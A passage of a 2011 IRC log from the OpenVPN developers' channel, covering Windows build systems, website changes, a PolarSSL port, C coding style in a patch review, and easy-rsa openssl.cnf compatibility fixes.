mingw, or cross build? 14:06 <@cron2> (but needs to bootup a different server plus VM on that, so it takes time and I can only do it when I'm at home) 14:06 <@cron2> native 14:06 <@mattock> good that somebody has the environment ready 14:06 <@mattock> let's try to find a fix that pleases both MinGW and Visual Studio 14:06 <@mattock> ...eventually 14:07 <@mattock> final topic? 14:07 <@cron2> doesn't the patch work that jjo sent in? 14:07 <@dazo> It solves something ... but when I try to build how he describes it, it explodes in my tree 14:07 <@cron2> oh 14:07 <@dazo> and using mingw32-configure instead of ./configure also explodes ... but this is cross building 14:08 <@dazo> and since it is cross building, I don't trust it as much currently 14:08 <@mattock> maybe continue this discussion later? 14:09 <@mattock> I don't think we can reach any conclusion without testing it thoroughly 14:09 <@dazo> agreed 14:09 <@mattock> last topic would be "OpenVPN site" 14:09 <@cron2> indeed, all this windows stuff is mattock's problem to solve anyway :-) *duck**hide* 14:09 <@mattock> cron2: I have my own little silo, MinGW is outside it :D 14:10 <@cron2> but it's those fixes for your large dump that are breaking poor little MinGW!! 14:10 <@dazo> hehe 14:10 <@mattock> cron2: +1 14:10 <@cron2> anyway, let's indeed go ahead 14:11 <@mattock> "How do we make openvpn.net better for the project"? 14:11 <@mattock> any layout suggestions? 14:12 <@mattock> a few ideas: news about new openvpn releases on the front page 14:12 <@dazo> A kind of box somewhere saying something about OpenVPN Open Source project ... and a clear pointer to where the differences between the AS/Cloud/Shield* stuff and OpenVPN F/OSS project are 14:13 <@mattock> a section for OpenVPN (similarly to the 3 others at the bottom of the page) 14:13 <@mattock> what about "Open source" tab? 14:13 <@dazo> yeah, that's a good step 14:13 <@dazo> I think renaming "Community" to "Open Source" would be clever as well 14:13 <@mattock> I agree 14:14 <@mattock> I think that'd solve a lot of confusion 14:14 < andj> mattock, in reply to your earlier question: I should be starting on the port of PolarSSL to 2.3 next week, hope to have it completed end of the week after that 14:14 <+krzee> +2 from me 14:14 <+krzee> hehe 14:15 <@mattock> andj: nice! 14:15 <@mattock> leaves some time for review before 2.3 14:15 < andj> I'll send patches out earlier though, while I'm working on the port 14:16 < andj> I can see two major milestones: doxygen and polarssl 14:16 <@jamesyonan> what's the motivation for using something like PolarSSL instead of OpenSSL. Code size? 14:16 < andj> code size, easier to evaluate by government auditors 14:16 <@dazo> andj: that sounds great! I can take care of looking at doxygen stuff, as that should be fairly easy to review 14:16 < andj> OpenSSL is a little tough on the eyes 14:17 <+krzee> at first i didnt think i cared about the polarssl addition... but then i see that it means making the encrypting modular... and thats a step twords 3.0, so i LOVE IT! 14:17 <@jamesyonan> does PolarSSL easily support RSA offloading? 14:17 <@mattock> anyways, so a summary of proposed changes: 14:17 <@mattock> - add OpenVPN news to the news feed 14:17 <@mattock> - "Community (project)" tab renamed to "Open source" 14:17 <@mattock> - a section for OpenVPN besides "Connecting to Internet security", "Deploying VPN Access solution" etc. 14:17 <@mattock> - describe the differences with OpenVPN and the commercial products somewhere 14:18 < andj> oops, sorry, did I bump into the middle of a meeting... /blush 14:18 <+krzee> andj, good timing actually =] 14:18 <@dazo> mattock: those two last ones can be "combined", and it can even be located as a box to the very right of the screen .... doesn't really matter ... but visibility matters 14:18 <@mattock> dazo: yep 14:19 <@mattock> ok, I think we've run out of topics :) 14:19 <@mattock> pretty quickly, I might add 14:20 <+krzee> ohhh i have a question for corp 14:20 <@mattock> krzee: shoot 14:20 <+krzee> i see you have offsite openvpn server hosting avail, any thoughts of also doing a service where you run the server and they use your as vpn provider? 14:20 <+krzee> use you* 14:21 <@mattock> krzee: just a sec 14:21 < andj> jamesyonan: pkcs#11 through Polar was added through pkcs#11-helper, in a similar way as the OpenSSL library 14:21 <+krzee> occasionally we get people asking who they provider we recommend is... now i have no answer but point to forums... would answer with openvpn.net if its an option 14:21 < andj> or did you mean HSM offloadning? 14:22 <@dazo> andj: I think he meant like RSA accelerator cards, and the AES-NI instruction set in newer Intel CPUs 14:22 <@jamesyonan> andj: pkcs#11 pretty much answers my question 14:23 < andj> dazo: it has some support for the via padlock stuff I think 14:23 <@mattock> krzee: I'm asking about that atm 14:23 <@dazo> (on my Intel Core i5 laptop, I can add --engine aesni in OpenVPN .... and get much of the encryption stuff offloaded from software to the CPU) 14:23 <@mattock> from people who know 14:23 <+krzee> mattock, cool =] 14:23 <+krzee> mattock, if you guys do offer it, an announcement in the forums providers section should be made sticky 14:24 <+krzee> in fact, the hosted server offering should be there as well imo 14:24 <@jamesyonan> what I mean specifically is that OpenSSL has an RSA struct with overloadable members for RSA encrypt, decrypt, etc. -- so it makes it easy if you need to interact with a private key that isn't available locally 14:24 <@mattock> krzee: I think our ShieldExchange offering is what they're looking for: shieldexchange.com 14:24 <+krzee> (the forum is good advertisement, and since its the official forum theres no reason for you guys to not advertise on it (its pretty on-topic for the providers section after all) 14:24 <+krzee> ) 14:25 <@mattock> krzee: I'll ask the guys to add topics to the forums 14:25 <@jamesyonan> krzee: regarding hosted services, OpenVPN tech currently offers ShieldExchange which is more or less a zero-configuration VPN solution that's based on OpenVPN 14:27 <@dazo> cron2: would you mind having a quick look on this patch, and have your say? http://www.fpaste.org/rGQL/raw/ ... krzee is testing it out now 14:27 <@mattock> jamesyonan: I asked Andrew to post sticky topics about AS, hosted service and shieldexchange to the forums 14:27 <+krzee> so no plans on more of a standard openvpn service like people are used to? or maybe im mis-understanding something 14:27 <+krzee> mattock, tell him those go in the providers section pls 14:28 <@mattock> krzee: I did 14:28 <+krzee> nice =] 14:28 <@cron2> mmmh 14:29 <@mattock> if there's nothing else, I'll take my cat out :) 14:29 < andj> jamesyonan: unfortunately, it's not quite as pretty as that in PolarSSL yet. 14:29 <@mattock> and call this a day 14:29 <+krzee> it broke 2.2.0 from building on freebsd, im installing git right now so i can test against -testing 14:29 <@jamesyonan> krzee: we're contemplating more of a standard OpenVPN service as well where you could lease a VPS that has everything preinstalled on it 14:29 <@cron2> dazo: in general, I agree. Some of the coding style is not "the way it's done elsewhere", like: 14:29 <@cron2> ret |= ( access(...) != 0 ); 14:29 <@cron2> that's nearing obfuscation 14:30 <@mattock> jamesyonan: before you do that, talk to me 14:30 <@cron2> what's so bad about "if (access() < 0 ) { err++; errcode=errno; } 14:30 <@mattock> I can setup thousands of VPSes in a snap with pupept 14:30 <@mattock> puppet 14:30 <@dazo> cron2: heh ... yeah, I can agree to that ... I'm just used to read such code, so didn't think about it 14:30 <@mattock> of course, the initial install needs to be automated 14:30 <@mattock> and I've already puppetized OpenVPN configuration 100% 14:31 <@dazo> cron2: I'll clean up the check_file_access() function then 14:31 <@cron2> I *can* read it, but I find it harder than "making it obvious" - and for folks with less C coding experience, it might be more difficult 14:31 <@jamesyonan> krzee: we also have an Amazon EC2 AMI for Access Server 14:31 <+krzee> mattock = the master of puppets! 14:31 <@cron2> dazo: ack for the idea 14:31 <@jamesyonan> mattock: that sounds great -- we should discuss 14:32 <@mattock> jamesyonan: just let me know when 14:32 <@mattock> but really, combining automated installation and puppet makes that kind of things trivial 14:32 <@cron2> dazo: and in general, ack for the implementation, and "minor nack" for the coding style :) 14:32 <@mattock> as well as managing the configuration 14:32 <@mattock> but I got to go now 14:33 <@dazo> cron2: not sure I'm willing to change all the check_file_access() calls later on .... those errs |= check_file_access(...); lines ... as I find switching to if() would make that part less readable 14:33 <+krzee> later mattack, good meeting =] 14:33 <@mattock> krzee: +1 14:33 <@mattock> later! 14:33 <@mattock> I'll write the summary tomorrow, and provide the patch for dazo 14:33 <@dazo> cron2: but inside the check_file_access(), I agree that can be cleaner 14:33 <@cron2> those later on are a bit unusual (I've seen errs += check() more often), but they can be understood 14:33 <@mattock> dazo: if you don't hear from me by about 10:00 UTC, start to get worried and poke me 14:33 <@cron2> technically it should be ||= :-) 14:34 <@cron2> (but in the end it's the same here) 14:34 * dazo looks up in his K&R to confirm it 14:34 <@cron2> one doesn't just bitwise-or booleans together, even if it's the same in the end 14:34 <@cron2> 2 | 1 --> false 14:34 <@cron2> 2 || 1 --> true 14:34 <@cron2> but *here* it doesn't matter 14:38 <@dazo> yeah, according to K&R, only the |= assignment-operator is listed ... as it is just like += or -= .... so my expressions basically says: errs = errs | check_file_access (); 14:39 <@cron2> yeah, it's possible that ||= doesn't exist in C... 14:39 <@cron2> but anyway - while a bit unusal, this is not so hard to understand 14:39 <@dazo> :) 14:40 <@cron2> (I should point out that even 1 | 2 is true, it's just "3" while 2 || 1 is "1", so just ignore my ramblings) 14:41 <@dazo> yeah 14:41 <@cron2> done for today? 14:43 <@dazo> I'd say so :) 14:46 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] 15:18 -!- andj is now known as andj_afk 15:19 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 15:19 -!- mode/#openvpn-devel [+v krzie] by ChanServ 15:43 -!- andj_afk is now known as andj 15:50 -!- andj is now known as andj_afk 16:23 -!- dazo is now known as dazo_afk 17:23 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 258 seconds] 17:28 -!- krzie [nobody@hemp.ircpimps.org] has joined #openvpn-devel 17:28 -!- krzie [nobody@hemp.ircpimps.org] has quit [Changing host] 17:28 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 17:29 -!- mode/#openvpn-devel [+v krzie] by ChanServ 18:04 -!- patelx [~patel@openvpn/corp/admin/patel] has quit [Ping timeout: 276 seconds] 18:31 -!- patel [~patel@adsl-71-140-186-190.dsl.pltn13.pacbell.net] has joined #openvpn-devel 18:32 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 258 seconds] 18:35 -!- patel [~patel@adsl-71-140-186-190.dsl.pltn13.pacbell.net] has quit [Ping timeout: 255 seconds] 18:43 -!- patel [~patel@50-76-49-94-ip-static.hfc.comcastbusiness.net] has joined #openvpn-devel 19:10 -!- krzie [nobody@hemp.ircpimps.org] has joined #openvpn-devel 19:10 -!- krzie [nobody@hemp.ircpimps.org] has quit [Changing host] 19:10 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 19:10 -!- mode/#openvpn-devel [+v krzie] by ChanServ 19:12 -!- patel is now known as patelx 19:12 -!- patelx [~patel@50-76-49-94-ip-static.hfc.comcastbusiness.net] has quit [Changing host] 19:12 -!- patelx [~patel@openvpn/corp/admin/patel] has joined #openvpn-devel 19:12 -!- mode/#openvpn-devel [+o patelx] by ChanServ 20:36 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 20:50 -!- krzie [nobody@hemp.ircpimps.org] has joined #openvpn-devel 20:50 -!- krzie [nobody@hemp.ircpimps.org] has quit [Changing host] 20:50 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 20:50 -!- mode/#openvpn-devel [+v krzie] by ChanServ 23:22 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 23:41 -!- bystander [775d3322@gateway/web/freenode/ip.119.93.51.34] has joined #openvpn-devel 23:41 < bystander> If tunneling over tcp, udp and dns is not permitted can openvpn still connect to the server? 23:45 < bystander> what I mean is that, if I tunnel over tcp or udp or dns, can openvpn client still connect to openvpn server? 23:51 -!- bystander [775d3322@gateway/web/freenode/ip.119.93.51.34] has left #openvpn-devel [] --- Day changed Fri Jun 17 2011 00:12 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 00:32 -!- andj_afk is now known as andj 00:59 -!- andj is now known as andj_afk 01:05 -!- dazo_afk is now known as dazo 02:55 <@cron2> some of the questions that are asked here seem to... lack... basic understanding of protocols 02:56 <@mattock> dazo: can I base my build-ca patch on release/2.2 02:56 <@mattock> or do you prefer "master" 02:56 <@dazo> mattock: I'd prefer master 02:56 <@dazo> then I cherry-pick it for release/2.2 02:58 <@mattock> ok 03:22 -!- Netsplit *.net <-> *.split quits: @jamesyonan 03:26 -!- Netsplit over, joins: @jamesyonan 03:29 -!- jamesyonan_ [~jamesyona@ec2-174-129-74-149.compute-1.amazonaws.com] has joined #openvpn-devel 03:29 -!- mode/#openvpn-devel [+o jamesyonan_] by ChanServ 03:29 -!- Netsplit *.net <-> *.split quits: @jamesyonan 03:29 -!- jamesyonan_ is now known as jamesyonan 03:33 -!- jamesyonan [~jamesyona@ec2-174-129-74-149.compute-1.amazonaws.com] has quit [Ping timeout: 240 seconds] 03:37 <@mattock> it seems we have to replace the easy-rsa/2.0/openssl.cnf with a new one (based on OpenSSL 1.0 series) 03:37 <@mattock> I wonder if that's safe to do on _all_ platforms 03:37 <@mattock> or should we only use the new openssl.cnf on Windows for now 03:44 <@dazo> hmm ... lets do windows only now 03:44 <@dazo> we can update that in a later release 03:44 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 03:44 <@dazo> after all, it's windows users who have been complaining most with 2.2.0 03:44 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 03:54 -!- d457k [~heiko@2001:1a80:2000:2:21f:c6ff:fe44:aec8] has quit [Remote host closed the connection] 03:57 <@mattock> I need to change the logic of the installer somewhat 04:14 <@mattock> dazo: any idea why newer git (1.7.something) fails to parse my email address properly from ~/.gitconfig? 04:14 <@mattock> it tries to cc samuli@macbook.<nothing> 04:14 <@mattock> user.email=samuli@openvpn.net 04:14 <@mattock> when using git-send-email 04:18 <@mattock> I'll debug that later, mail away 04:24 <@dazo> hmm ... odd ... I've never seen that issue before 04:24 <@dazo> double check .git/config as well 04:27 -!- d12fk [~heiko@2001:1a80:2000:2:21f:c6ff:fe44:aec8] has joined #openvpn-devel 04:27 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 04:36 <@dazo> mattock: I'll see if we get response in the Trac ticket ... and if nothing by the end of Monday, I'll wrap it all together and get you some tar balls 04:40 -!- jamesyonan_ [~jamesyona@ec2-174-129-74-149.compute-1.amazonaws.com] has joined #openvpn-devel 04:40 -!- mode/#openvpn-devel [+o jamesyonan_] by ChanServ 04:44 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Ping timeout: 240 seconds] 04:44 -!- jamesyonan_ is now known as jamesyonan 04:50 -!- jamesyonan [~jamesyona@ec2-174-129-74-149.compute-1.amazonaws.com] has quit [Ping timeout: 240 seconds] 05:28 -!- patelx [~patel@openvpn/corp/admin/patel] has quit [Ping timeout: 260 seconds] 05:32 -!- patel [~patel@50-76-49-94-ip-static.hfc.comcastbusiness.net] has joined #openvpn-devel 06:22 -!- dazo is now known as dazo_afk 06:35 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 06:43 <@mattock> dazo: noticed that I forgot to add the new openssl.cnf to the patch 06:43 <@mattock> it's available at http://build.openvpn.net/openssl.cnf 06:43 <@mattock> taken from the same openssl that Windows builds use 06:43 <@mattock> don't have time to do anything about that atm :( 07:20 -!- dazo_afk is now known as dazo 07:22 <@dazo> mattock: okay ... lets wait until Monday then 07:50 -!- patelx [~patel@50-76-49-94-ip-static.hfc.comcastbusiness.net] has joined #openvpn-devel 07:51 -!- patel [~patel@50-76-49-94-ip-static.hfc.comcastbusiness.net] has quit [Ping timeout: 246 seconds] 08:30 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 12:12 -!- dazo is now known as dazo_afk 14:33 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 15:13 -!- patelx [~patel@50-76-49-94-ip-static.hfc.comcastbusiness.net] has quit [Changing host] 15:13 -!- patelx [~patel@openvpn/corp/admin/patel] has joined #openvpn-devel 15:14 -!- mode/#openvpn-devel [+o patelx] by ChanServ 15:37 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 246 seconds] 15:37 -!- dazol [~dazo@nat/redhat/x-njzjmcuksjzgpvxl] has joined #openvpn-devel 16:02 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 16:10 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 16:45 -!- andj_afk is now known as andj 16:46 -!- andj is now known as andj_afk 16:47 -!- andj_afk is now known as andj 17:12 <@vpnHelper> RSS Update - wishlist: How to modify the code and build it using msys for Windows <http://forums.openvpn.net/topic8317.html> 17:21 -!- dazol [~dazo@nat/redhat/x-njzjmcuksjzgpvxl] has quit [Ping timeout: 244 seconds] 17:28 -!- andj is now known as andj_afk 18:12 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 18:12 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 18:32 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 240 seconds] 18:40 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 18:40 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 20:20 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 258 seconds] 20:22 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 20:23 -!- mode/#openvpn-devel [+v krzie] by ChanServ 20:27 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds] 20:59 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 20:59 -!- mode/#openvpn-devel [+v krzie] by ChanServ 22:07 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 276 seconds] 22:11 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 22:11 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 23:58 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel --- Day changed Sat Jun 18 2011 01:12 -!- andj_afk is now known as andj 02:56 -!- patelx [~patel@openvpn/corp/admin/patel] has quit [Ping timeout: 260 seconds] 03:40 -!- psha [~psha@213.208.162.69] has quit [Read error: Connection reset by peer] 03:44 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 12:45 <@vpnHelper> RSS Update - wishlist: Buy 2 get 1 free + free shipping:iPhone 4G/iPad2. <http://forums.openvpn.net/topic8323.html> 12:56 < psha> nice feature for openvpn 12:57 <+krzie> i deleted the spammer 13:38 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 18:28 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 23:55 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel --- Day changed Sun Jun 19 2011 03:10 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:11 -!- mode/#openvpn-devel [+o mattock] by ChanServ 04:36 -!- patel [~patel@50-76-49-94-ip-static.hfc.comcastbusiness.net] has joined #openvpn-devel 05:02 -!- patel [~patel@50-76-49-94-ip-static.hfc.comcastbusiness.net] has quit [Ping timeout: 252 seconds] 10:58 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 10:58 -!- mode/#openvpn-devel [+v krzie] by ChanServ 15:38 -!- patel [~patel@50-76-49-94-ip-static.hfc.comcastbusiness.net] has joined #openvpn-devel 19:02 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 19:07 -!- kisom [~x@c-74dce155.648-1-64736c11.cust.bredbandsbolaget.se] has quit [Ping timeout: 260 seconds] 19:26 -!- kisom [~x@c-74dce155.648-1-64736c11.cust.bredbandsbolaget.se] has joined #openvpn-devel 19:52 -!- kisom [~x@c-74dce155.648-1-64736c11.cust.bredbandsbolaget.se] has quit [Ping timeout: 255 seconds] 19:59 -!- kisom [~x@c-74dce155.648-1-64736c11.cust.bredbandsbolaget.se] has joined #openvpn-devel 20:15 -!- kisom [~x@c-74dce155.648-1-64736c11.cust.bredbandsbolaget.se] has quit [Ping timeout: 246 seconds] --- Day changed Mon Jun 20 2011 00:43 -!- andj is now known as andj_afk 01:43 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Quit: mattock] 02:25 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:25 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:50 -!- janjust [~janjust@lena.nikhef.nl] has joined #openvpn-devel 02:50 -!- janjust [~janjust@lena.nikhef.nl] has quit [Changing host] 02:50 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 02:50 -!- mode/#openvpn-devel [+v janjust] by ChanServ 02:52 <+janjust> Yo mattock ! 02:52 <@mattock> janjust: hi 02:52 <@mattock> what's up? 02:53 <+janjust> not much, just saw your email on the openvpn list about the build system on windows (and the chatlog from last thursday) 02:53 <+janjust> just wanted to add that I'm strongly in favour of keeping the mingw/msys build system intact 02:53 <+janjust> I find it a bit odd that I'd need to download M$ software to build an open source product ;) 02:54 <@mattock> yeah, true 02:55 <@mattock> I don't see why the old buildsystem would have to obsolete 02:55 <+janjust> I know it will always be needed for the tap driver 02:55 <@mattock> d 02:55 <@mattock> to be honest, the motivation behind the new buildsystem has always been 02:55 <@mattock> a little unclear to me :) 02:56 <@mattock> although now that it works, it works pretty well 02:56 <@mattock> btw. whenever you need access to the new Win2008r2 build box, just let me know 02:58 <+janjust> hehe, I will let you know - I still have that tap-win32 DHCPNAK thing to test 02:58 <+janjust> but I'm not getting to it 03:38 <@dazo_afk> mattock: [OT] https://meego.com/community/blogs/texrat/2011/formally-launching-meego-community-device-program 03:38 <@vpnHelper> Title: Formally Launching the MeeGo Community Device Program | MeeGo (at meego.com) 03:43 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Quit: Leaving] 03:46 -!- dazo_afk is now known as dazo_ 03:47 -!- dazo_ is now known as dazo 04:19 <@vpnHelper> RSS Update - testtrac: Add new openssl.cnf to easy-rsa/Windows <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=663860ad04dd4190fddbee63e724d3fdceafd937> || Fix a build-ca issue on Windows <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=38108434db7b2d574133dd645d01df03848532d6> || Remove support for Linux 2.2 configuration fallback <http://openv 04:38 <@dazo> mattock: it seems buildbot webUI is down ... 04:40 -!- patel [~patel@50-76-49-94-ip-static.hfc.comcastbusiness.net] has quit [Ping timeout: 260 seconds] 06:24 -!- dazo is now known as dazo_afk 06:25 -!- dazo_afk is now known as dazo 07:24 <+ecrist> ping mattock 09:40 -!- dazo is now known as dazo_afk 10:08 -!- patel [~patel@adsl-71-140-186-190.dsl.pltn13.pacbell.net] has joined #openvpn-devel 10:17 -!- Dark-Fx [~bamcpher@2607:f4b8:7::1] has quit [Quit: leaving] 10:27 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 11:44 -!- andj_afk is now known as andj 11:52 -!- kisom [~x@c-f6dde155.648-1-64736c11.cust.bredbandsbolaget.se] has joined #openvpn-devel 12:07 -!- patel is now known as patelx 12:07 -!- patelx [~patel@adsl-71-140-186-190.dsl.pltn13.pacbell.net] has quit [Changing host] 12:07 -!- patelx [~patel@openvpn/corp/admin/patel] has joined #openvpn-devel 12:07 -!- mode/#openvpn-devel [+o patelx] by ChanServ 12:37 -!- kisom [~x@c-f6dde155.648-1-64736c11.cust.bredbandsbolaget.se] has quit [Read error: Operation timed out] 13:02 <@mattock> dazo: seems so... I'll restart it 13:03 <@mattock> I probably switched it off when playing with my buildslaves or something 13:04 <@mattock> actually, it's not supposed to work, I did some cleaning up 13:04 <@mattock> it should work by tomorrow evening 13:36 -!- patelx [~patel@openvpn/corp/admin/patel] has quit [Ping timeout: 258 seconds] 13:36 -!- kisom [~x@c-f6dde155.648-1-64736c11.cust.bredbandsbolaget.se] has joined #openvpn-devel 13:40 -!- patel [~patel@50-76-49-94-ip-static.hfc.comcastbusiness.net] has joined #openvpn-devel 14:42 <+ecrist> mattock: is that channel setup right for you? 15:10 -!- andj is now known as andj_afk 15:21 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 16:45 -!- kisom_ [~x@c-f6dde155.648-1-64736c11.cust.bredbandsbolaget.se] has joined #openvpn-devel 16:46 -!- kisom_ is now known as Guest378 16:50 -!- Netsplit *.net <-> *.split quits: kisom 16:54 -!- patel [~patel@50-76-49-94-ip-static.hfc.comcastbusiness.net] has quit [Ping timeout: 240 seconds] 16:59 -!- patel [~patel@adsl-71-140-186-190.dsl.pltn13.pacbell.net] has joined #openvpn-devel 17:07 -!- jamesyonan [~jamesyona@75.148.45.33] has joined #openvpn-devel 17:07 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 17:11 -!- jamesyonan_ [~jamesyona@ec2-174-129-74-149.compute-1.amazonaws.com] has joined #openvpn-devel 17:11 -!- mode/#openvpn-devel [+o jamesyonan_] by ChanServ 17:11 -!- jamesyonan [~jamesyona@75.148.45.33] has quit [Read error: Connection reset by peer] 17:15 -!- jamesyonan_ [~jamesyona@ec2-174-129-74-149.compute-1.amazonaws.com] has quit [Ping timeout: 240 seconds] 18:01 -!- raidz [~root@openvpn/corp/admin/andrew] has joined #openvpn-devel 18:02 -!- mode/#openvpn-devel [+o raidz] by ChanServ 18:02 <@raidz> mattock- around/ 18:28 <+ecrist> raidz: #openvpn-as was setup, and the AS forum has been unlocked 18:29 <+ecrist> just FYI 19:36 -!- raidz [~root@openvpn/corp/admin/andrew] has quit [Ping timeout: 250 seconds] 20:42 -!- bystander [775d3322@gateway/web/freenode/ip.119.93.51.34] has joined #openvpn-devel 20:42 < bystander> write to TUN/TAP [State=AT?c Err=[c:\src\openvpn-2.2-beta3\tap_build\7600\tap-win32\tapdrvr.c/2473] #O=2 Tx=[2,0] Rx=[0,2] IrpQ=[1,1,16] PktQ=[0,1,64] InjQ=[0,1,16]]: The data area passed to a system call is too small. (code=122) 20:51 -!- bystander [775d3322@gateway/web/freenode/ip.119.93.51.34] has quit [Ping timeout: 252 seconds] 21:02 -!- andjl [~adriaan@5356AABF.cm-6-7c.dynamic.ziggo.nl] has joined #openvpn-devel 21:02 -!- andjl is now known as andj 21:08 -!- Netsplit *.net <-> *.split quits: waldner, andj_afk 23:36 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 244 seconds] --- Day changed Tue Jun 21 2011 01:32 -!- dazo_afk is now known as dazo 01:39 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:39 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:02 <@mattock> dazo: I'm fixing openssl.cnf now... I probably have to test it myself to make sure it works 02:02 <@dazo> mattock: great! 02:02 <@dazo> yeah, the guy with the Trac ticket kind of disappeared 02:03 * dazo just hopes he used a valid e-mail addressin Trac 02:49 <@mattock> I manually patched Windows/openssl.cnf 02:50 <@mattock> I'll test it and see what happens 03:46 <@dazo> mattock: did you see my comment regarding having a united openssl.cnf? 03:46 <@dazo> it makes no sense to have two identical files in different dirs ... that's just confusing 04:02 <@cron2> +1 05:20 <@mattock> dazo: yes, I saw 05:21 <@mattock> I agree, provided updating openssl.cnf does not break anything on *NIX side 05:53 <@mattock> it seem something in the syntax of the old config file breaks newer openssl.exe 05:53 <@mattock> vanilla 1.0.0 openssl.cnf would work, but changes migrated from 0.9.8* config break it 06:19 <@mattock> dazo: did you notice that Nokia announced the new Maemo6/Meego phone: http://swipe.nokia.com/ 06:19 <@vpnHelper> Title: Home | Experience Nokia N9 – All it takes is a swipe (at swipe.nokia.com) 06:20 <@mattock> if it's good, makes one wonder why the hell bother with Windows Phone 7... 06:27 <@dazo> yeah, I saw the N9 ... quite nice specs, but I use ssh too much to get away with a keyboard ... and I'm boycotting Nokia for their Microsoft flirt 06:27 <@dazo> but it's lacking a HDMI output :/ 06:27 <@dazo> (I mean, the N8 got it ... why not N9 which is supposed to be their new flagship?) 06:45 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Remote host closed the connection] 06:56 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 06:56 -!- mode/#openvpn-devel [+o mattock] by ChanServ 07:06 <@mattock> new openssl will choke on unset default values 07:08 <@mattock> so, we can 07:08 <@mattock> a) remove the default values ("<something>_default") openssl.cnf that are not present in vars.bat 07:08 <@mattock> b) make sure are default values imported in openssl.cnf are present in vars.bat 07:09 <@mattock> I'd prefer b) 07:09 <@cron2> wouldn't that be a much wider problem than "just windows"? 07:10 <@mattock> probably yes 07:10 <@cron2> so far I had assumed that this easy-rsa thingie was just another windows installer weirdness 07:10 <@dazo> yes, even though most distroes (except enterprise distros) use openssl-1.0.0 nowadays 07:10 <@mattock> actually, latest ubuntu is still on 0.9.8 something 07:10 <@mattock> not sure why 07:10 <@dazo> RHEL5 (incl. CentOS, ScientificLinux, etc) and older use 0.9.8 07:10 <+ecrist> mattock: is the as channel setup right for you? 07:10 <@dazo> mattock: ubuntu don't dare to do yet another mistake with SSL :-P 07:10 <@mattock> ecrist: I'll check 07:12 <@mattock> ecrist: I need to check with a good IRC client later on, Empathy's IRC support is somewhat limited 07:13 <@mattock> dazo: can you revert the first two patches I sent? or do I provide a patch on top of those? 07:13 <@dazo> mattock: I've reverted only the openssl.cnf one 07:13 <@mattock> ok 07:13 <@dazo> what if you can provide a single patch with a newer openssl.cnf ... and then another patch which goes on top of your first patch ,that's probably the cleanest now 07:25 <@mattock> hmm, the whole easy-rsa stuff on Windows seems shaky 07:25 <@mattock> I need to dig deeper 07:30 <@mattock> ah, ok... the old installer (e.g. 2.1.3) put the Windows stuff directly to the root of "easy-rsa" 07:30 <@mattock> that's the reason why it's behaving strangely 07:30 <@mattock> I'll try the same approach with 2.2.0 07:33 <@mattock> do we want to replace easy-rsa/2.0/openssl.cnf, or rename it to, say "easy-rsa/openssl-0.9.8.cnf"? 07:34 <@mattock> provided editing it _is_ needed 07:34 <@mattock> might not be, as installer copies whole easy-rsa directory instead of just Windows stuff 07:41 <@mattock> dazo, cron2: can we get the README.IPv6 / TODO.IPv6 merge into 2.2.1? It hits me every time I have to use Git 07:41 <@mattock> on 